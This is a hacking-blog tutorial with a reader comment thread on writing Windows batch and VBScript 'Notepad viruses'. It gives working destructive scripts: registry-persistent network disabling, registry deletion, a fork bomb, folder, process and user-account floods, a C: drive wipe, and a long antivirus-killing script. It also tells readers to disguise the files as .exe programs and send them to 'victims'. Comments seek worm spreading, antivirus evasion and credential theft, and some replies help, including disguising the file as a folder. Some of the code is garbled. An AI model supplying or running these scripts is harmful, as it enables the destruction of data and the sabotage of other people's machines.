Have you ever thought of creating a computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create simple but dangerous Notepad Virus step by step with an explanation! 😎
As you all know that Virus is nothing but a malicious program which enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating itself corrupting user files etc, so, basically, we are going to create some unwanted scripts, that which we can execute in order to destroy or break the system.
If you prefer video tutorials with posts on Tech2Hack, then hit subscribe below:
Also, Subscribe for instant tech dose:
Read More:
Jump to:
Create Notepad Virus Executable(.exe) Using Batch Scripting
First of all, what is batch scripting, those who don’t know, take a look below:
“It is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs.”
By using Batch File you can create an extremely dangerous virus which can delete the Windows files, format different drives [C:\, E:], steal data files and information, disable antivirus, firewall, etc.
NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial, for more info read our disclaimer.
Write a dangerous virus in Notepad/Text Editor
Are you ready to create your first DIY Notepad virus, Let’s get started to rock,
First of all, you need a Windows PC, obviously. 😉
For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.
Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.



Note: I am not responsible for any damage or error reporting on Your PC, do it at your own risk.
Warning: Do not try this on your daily working PC.
Have you read my previous posts, it will be great to take a look at;
- How To increase internet speed via Command Prompt Tricks
- Best Apps To Hack In-App Purchase in ANDROID
Notepad Virus source codes are Given below:
1. Disable Internet Permanently
This code will disable the internet connectivity permanently.
echo @echo off>c:windowswimn32.bat echo break off>c:windowswimn32.bat echo ipconfig/release_all>c:windowswimn32.bat echo end>c:windowswimn32.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED! PAUSE
2. Delete Key Registry Files
This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.
@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your PC has been crashed.Your Dad. GOTO MESSAGE
3. Endless Notepads
This will pop up endless notepads until the computer freezes and crashes
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
4. Popping CD Drives
This will make the CD drives constantly pop out
Set oWMP = CreateObject(”WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop
5. Endless Enter
This will make the enter button pressed continuously
Set wshShell = wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop
6. Application Bomber
It will start to open different applications repeatedly which will affect the system’s performance.
You can also add the application of your choice in the above code.
@echo off :x start winword start mspaint start notepad start write start cmd start explorer start control start calc goto x
7.Folder Flooder
This will create unlimited no. of folders.
@echo off :x md %random% /folder. goto x
8.User Account Flooder
This will create large no. of the user account on one’s PC and goes on
@echo off :xnet user %random% /add goto x
9.Process Creator
This will create unlimited background processes
%0|%0
10.Windows Hacker
This will delete your whole C:\ drive and it really unrecoverable
@Echo off Del C:\ *.* |y
10+. Anti Virus Disabler
This large code will disable any antivirus installed on the system
@ echo off rem rem Permanently Kill Anti-Virus net stop “Security Center” netsh firewall set opmode mode=disable tskill /A av* tskill /A fire* tskill /A anti* cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tskill /A OUTPOST tskill /A nv* tskill /A nav* tskill /A F-* tskill /A ESAFE tskill /A cle cls tskill /A BLACKICE tskill /A def* tskill /A kav tskill /A kav* tskill /A avg* tskill /A ash* cls tskill /A aswupdsv tskill /A ewid* tskill /A guard* tskill /A guar* tskill /A gcasDt* tskill /A msmp* cls tskill /A mcafe* tskill /A mghtml tskill /A msiexec tskill /A outpost tskill /A isafe tskill /A zap*cls tskill /A zauinst tskill /A upd* tskill /A zlclien* tskill /A minilog tskill /A cc* tskill /A norton* cls tskill /A norton au* tskill /A ccc* tskill /A npfmn* tskill /A loge* tskill /A nisum* tskill /A issvc tskill /A tmp* cls tskill /A tmn* tskill /A pcc* tskill /A cpd* tskill /A pop* tskill /A pav* tskill /A padmincls tskill /A panda* tskill /A avsch* tskill /A sche* tskill /A syman* tskill /A virus* tskill /A realm*cls tskill /A sweep* tskill /A scan* tskill /A ad-* tskill /A safe* tskill /A avas* tskill /A norm* cls tskill /A offg* del /Q /F C:\Program Files\alwils~1\avast4\*.* del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe del /Q /F C:\Program Files\kasper~1\*.exe cls del /Q /F C:\Program Files\trojan~1\*.exe del /Q /F C:\Program Files\f-prot95\*.dll del /Q /F C:\Program Files\tbav\*.datcls del /Q /F C:\Program Files\avpersonal\*.vdf del /Q /F C:\Program Files\Norton~1\*.cnt del /Q /F C:\Program Files\Mcafee\*.* cls del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\*.* del /Q /F C:\Program Files\Norton~1\*.* cls del /Q /F C:\Program Files\avgamsr\*.exe del /Q /F C:\Program Files\avgamsvr\*.exe del /Q /F C:\Program Files\avgemc\*.exe cls del /Q /F C:\Program Files\avgcc\*.exe del /Q /F C:\Program Files\avgupsvc\*.exe del /Q /F C:\Program Files\grisoft del /Q /F C:\Program Files\nood32krn\*.exe del /Q /F C:\Program Files\nood32\*.exe cls del /Q /F C:\Program Files\nod32 del /Q /F C:\Program Files\nood32 del /Q /F C:\Program Files\kav\*.exe del /Q /F C:\Program Files\kavmm\*.exe del /Q /F C:\Program Files\kaspersky\*.* cls del /Q /F C:\Program Files\ewidoctrl\*.exe del /Q /F C:\Program Files\guard\*.exe del /Q /F C:\Program Files\ewido\*.exe cls del /Q /F C:\Program Files\pavprsrv\*.exe del /Q /F C:\Program Files\pavprot\*.exe del /Q /F C:\Program Files\avengine\*.exe cls del /Q /F C:\Program Files\apvxdwin\*.exe del /Q /F C:\Program Files\webproxy\*.exe del /Q /F C:\Program Files\panda software\*.* rem
After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“(without quotes as shown in the image).



DONE: You have successfully created a Notepad Virus. That’s it, now you’re done doing your work now just you have to send the file to the victim.



There’s a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found it harmful. So, to overcome this limitation/drawback, you can use a tool named ‘Batch to Executable Converter’. It will convert the ‘.bat‘ extension into ‘.exe‘ extension. Hence, your Batch file will be converted into a Windows Application. This will helps in convincing your victim to open the file.



Download BatToExe to Easily convert batch files to executables by clicking here
NOTE: This Tutorial is for windows based computer only, these viruses do not work on Linux or MAC.
Also Read:
- How to create bootable USB Pendrive for Windows 10, 8, 7, XP.
- Steganography: Hide Data In Audio, Video & Image Files.
- How To Use Android as a Modem to connect to the Internet on PC.
Wrapping It Up
So, Friends hope you liked the post on how to create a notepad virus using batch scripting, I made this tutorial much more descriptive, try to create these virus yourself, in case you encounter any problem and need help feel free to comment, I am always here for your help and don’t forget to share this post with your friends if you found it helpful and enjoyable, also for supporting me to come up with more stuff in the near future.
If you prefer video tutorials with posts on Tech2Hack, then hit subscribe below:
Also, Subscribe for instant tech dose:
Goodbye for now and don’t forget to subscribe to our mailing by filling the form below.
Keep Visiting, Keep Learning.
hello MD i follow all your tutorials, ammazing, great work man
can you please explain the different virus and worms in your next post
sure why not , may be next week, if possible for me.
thanks for ur post bro…i tried few codes and all were working fine…can u please post very harmful virus codes???
make a zip bomb
do yo want such code then use this code.
set x=wscript.createobject (“wscript.shell”)
do
wscript.sleep 100
x.sendkeys “{CAPSLOCK}”
x.sendkeys “{NUMLOCK}”
x.sendkeys “I am a virus ”
x.sendkeys “{SCROLLLOCK}”
loop
Paste this code in notepad.
To stop this – press CTRL+ALT+DELETE and then come to your lock screen and shutdown your computer for 10 to 20 min.
BYE!!!
dude combine everything that is given
Hi,
I need android or iphone fully crash virus, can you please post any code for me.
i am interest to learn,
I am ios app developer and 4 years experience, but i interest from hacking concept, please help me.
Hello Sir, Nice Post, I was waiting for your post,
Sir, can you please post frequently
i really wanted to post daily but, i am still busy in preparation for my board exams
Hi sir, I have a problem, on how to get back my Internet connection which was disabled using the batch file in disabling it completely….
Please help me…. Thanks in advance…..
Use this this code
ipconfig/renew
Hello Bro,
i am having some problem in the antivirus disabler script, it is not working for me,
btw all other are working fine, thanks for posting.
@thanks for reporting
try to remove the space in between the code,
then try, i fill fix this asap.
Has it been fixed yet?
yep!
How can i test these can you plaese tell me.
you can test, but try on virtual machine
when you are done with the cmd hit file then save as then name it when you named it put .bat at the end of it then hit save
Thanks For sharing. It contains a lot of information. We need to learn new things from these blog.
@niraj thank for appriciation buddy, thanks for visiting, keep comming
Help, are the endless enter and popping cd drives endable, or are they permanent.
just restart the PC 😉
Just use a regkey and a backsave bat and have it restart the script on reboot ?
how do i do this
This article is awesome Thanks for Sharing
Thank you.
How to Automatically run batch file set time
Are those codes already tested on your virtual machine, and are they work well? Thanks
Yes @Ajit these all codes are working and tested. And Thanks for the read.
Can u create an phone virus that can send using what’s app or else?
Does the internet virus disable it for said device or does it disable that router?
Can you tell me how to convert in cod on amazon or flipcart if not available cod
Hello…. Can you tell how to create an android virus
Create bakdor and Hack
can you explain in more detail?
any one that steal email and password
Maybe
*O*
Is batch scripting an app..do i have to download it.. Or i can just do it without batch scripting
Hi bro..
That “kill antivirus” is still working??then save as .bat right??
Yes @Mirage
It’s Still Working, give it a try 😉
For some reason when i try to run or open the .bat file it flashes for a second like it’s about to open but then disappears and no matter how many times i try to run it it just won’t work.
All virus works
But you have to very careful for doing the 10 no.
Or you will lost your pc
Bro can you tell me how to enable auto-share like a worm in these virus
@Pritam
Can you please explain what do you want to say in detail?
He want to say that how to spread it or something
Thanks! It works!
Thanks a lot MD Wasil Ansari for this piece of knowledge, we really appreciate it. Pls i will like to reach you personally (through email, skype or any convenient with you), so i can share my personal IT challenges i face with you. I will appreciate the opportunity if given. Thanks in anticipation
Any knowledge about key logging???
Please…??
i want to know how it works
like does it work only when the victim opens the notepad
or when it is transferred in iits pc
When someone double-clicks the file.
you can also set it to run at boot time so when the victim shuts down their pc and turns it back on, it’ll run
Hello, I exe the Folder Flooder on my virtual PC and it has slowed right down so it can not be used. How should I go about fixing this so I can test my other Notepad viruses. Thank you.
why the hell would you run a virus on pc when you created it i cant believe what i just have seen
Are you retarded or something? I have 2 PC’s, 1 for day to day use and gaming etc and 2 for testing, so testing made viruses and checking software etc. Think before you comment thanks
Thank you very much for your valuable post. I can now prank my friends with some of the virus.
I’m trying to disable Avast with your code but it’s not working 😀 I tried from Task manager – Avast won’t stop even after clicking on KILL.
Stop service by code
IS THIS PARMANENT
Everything is back to normal once you restart the no ? ?
Need creat virus to hack into a WhatsApp mobile account.
Hey MD Wasil Ansari, it was a really nice read! I really loved the “Process Creator”. With just 1 line of code, you can create such an awesome virus!!
Keep posting such stuffs!
Cool, its very amazing thanks bro keep it up
Can u tell me how to make virus to corrupt the biometric system on laptop? Email me plz..
Thanks for this information. I would prank my friends with these tricks lol..
nice ideas but i’m trying to make it with c programming so when i type chdir(“c:\\users\\p*\\desktop”);
the program won’t recognize the star but in batch file it’s so simple and it can recognize the star like cd users\p*\desktop….so my question is how to write that line so that it would be recognizable by c programming
In c programming, you can define a variable and put ‘*’ into it and use it in the place.
With the Antivirus disable virus can i stop windows defender?
@Echo off
Del C:\ *.* |y
By replacing C by D here,can i delete the drive?
Great one. Thanks for the information
With the Antivirus disable virus can i stop windows defender?
@Echo off
Del C:\ *.* |y
By replacing C by D here,can i delete the drive?
Sir MD Wasil Ansaril,
All these virus created up there, what is the possible code to resolve them all, because i know there must be a way out.
Also i sent you a message on facebook, please sir reply me or ping me: facebook.com/Teemlucky22
Thanks
Regard.
Teemlucky
HOW TO SEND OUR FREND
sir these viruses are suddenly open or by clicking..?
hey MD, how can i send these viruses to the victim pc
Convert into exe and change its icon as a folder
Thanks MD .
for this Awesome knowledge…
Really nice
Can please teach me how create a spyware and malware’s virus
thanks to this codes but i want android viruses can i do that with ntepad??
thanks very much for this article
sir please upload more on this topic, thanks!
I am not getting that converter in my tab at to do
are you use command prompt for this?
how to make a virus that affect windows10
Bro plz tell me how to create a gmail virus my friend has hacked my gmail account and he is asking for money in replace plz help me. ……. Plz
This sounds like fun! I could do this as a prank, muhahahahahahaha!
Hey when saving the file will it also affect the pc after making it
If we send the .exe file to the victim, wouldn’t it be detected by the antivirus in victems pc
Can you create a program that stops the viruses?
Can it be written in android and send to android devices
nice post sir cool virus i love it
Is application bomber active permanent. If not then how I disable that virus. Please reply fast
how am i going to disable this? should i create restore point before doing this?
It’s better you should!!!
well done bro i have also created virus check this out visit here
HI BRO
CAN you tell me how to hack a wifi
How can I stop these programs… I want to test them but am scared of ruining
my pc
Some of these are more dangerous than others. The Notepad virus you can stop by going to Task Manager and shutting the .BAT task or restarting your PC.
work it it eazy code notepad
i didnt try the code but i will anyway thank you
How you learned this programming and virus writing
how do you make something like this that will run multiple batch files and a vbs? I have token a lot of batch viruses and made a fake error, and I want to run them all at a certain pace of 2 minutes in between each payload. How do I do this? is there a way to make it into a batch file that will run each thing from a download and/or usb drive depending whitch one it is in with a 2 minute time space in between each payload? if so can you give me the script?
I need Rat,any one that have should contact me
Can we combine all codes in one.
i need harmful virus that crash any pc
hey there!
if you want to make a virus that can destroy your whole PC completely, you can combine above all code and modify some codes, then you will be able to do so!
Hy First of all thanks for sharing the useful information!
i assign. bat extensin to the file window defencer and other antivirus alert ! is there any way to
put my virus code in such a enviroment case that defencer dont recogniize it asa a viruse
Hi.
Would you please help me,?
How to code virus for getting user and password from cache memory files in any devices?
It’s very useful.I’m using win 8.1&after creating and saving the batch virus my windows automatically delete the batch files.
Can we stop the “popping cd drives” code???
hey sir,
good job thankx alot for all tutorial.
sir can you plz tell us for any wifi password cracking software and virus.
pls could you help me
to make autorun code that run from my computer when any removable pluged in to my computer ? pls email me tnx !!!
please help me
batch code to autorun from my computer when any removable device connected to my computer.
pls send me to my email abdiibnmohammed33@gmail.com
tnxs
Hi can u create a virus so the data gets copied and sent to my pc i want to make a prank on my friend
If u want I can try to do it
How Do I delete the endless notepads file off my pc? It wont let me delete it.
Go to the Task Manager and turn off the .BAT file process or restart your PC.
C drive delete nhi ho rhai hai sir ji
kay ye commands galat hai
or agar hum c ki jaghe D likhenge to kay D drive delete ho jayegi
plzz reply sir
is we need administration permission for deleting Drives virus
Sir how to hack other computers to using my computer
Can we combine all this codes in one
heaven !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
hi will this not affect my windows 10 DELL insparon if I use a virtual machine while running?
what languge
Here is a cool virus code:
@echo off
shutdown -s -t 30 c “Your PC is about to die!” -s
This will shutdown your computer(Only works on Windows) and it will display a message(the text in “ “). It will shutdown the PC in 30sec because I wrote: -t 30. You can change that of course, and you can change the message.
hi tnx for ur codes i did it but the virus is now active in my laptop how can i disable it?
hi thanks for ur codes i did it but the virus is now active in my laptop how can i disable it?
I am actually thankful to the holder of this
web page who has shared this enormous piece of writing at
at this place.
Do you know the Linux version of the ‘disable internet permanently’ notepad virus?
Do you learn me how can we create more dangerous virus and how can hack systems please
how to convert batch to .exe
I cant get the disable internet permanently run.
I just copy and paste the command.
but it says as below
C:\Users\User\Desktop>echo @echo off 1>c:windowswimn32.bat
C:\Users\User\Desktop>echo break off echo 1>c:windowswimn32.bat
C:\Users\User\Desktop>ipconfig/release_all1>c:windowswimn32.bat
C:\Users\User\Desktop>echo end add 1>c:windowswimn32.batreg
C:\Users\User\Desktop>hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
‘hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun’ is not recognized as an internal or external command,
operable program or batch file.
C:\Users\User\Desktop>hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
‘hkey_current_usersoftwaremicrosoftwindowscurrentversionrun’ is not recognized as an internal or external command,
operable program or batch file.
C:\Users\User\Desktop>PAUSE
Press any key to continue . . .
Love this tutorial it really helps
Hello i tried your stuff and it works but i am afraid to text it on my pc
what should do?
What did you use to save it
Can I use this against my school IT team through email?
How can I make a virus which is executing in the background?
After pasting the codes on notepad
What I’m I to save it as, for effect to take place
kenny plz
some body say Anti Virus Disabler virus can write in one command line, is that possible? is may be?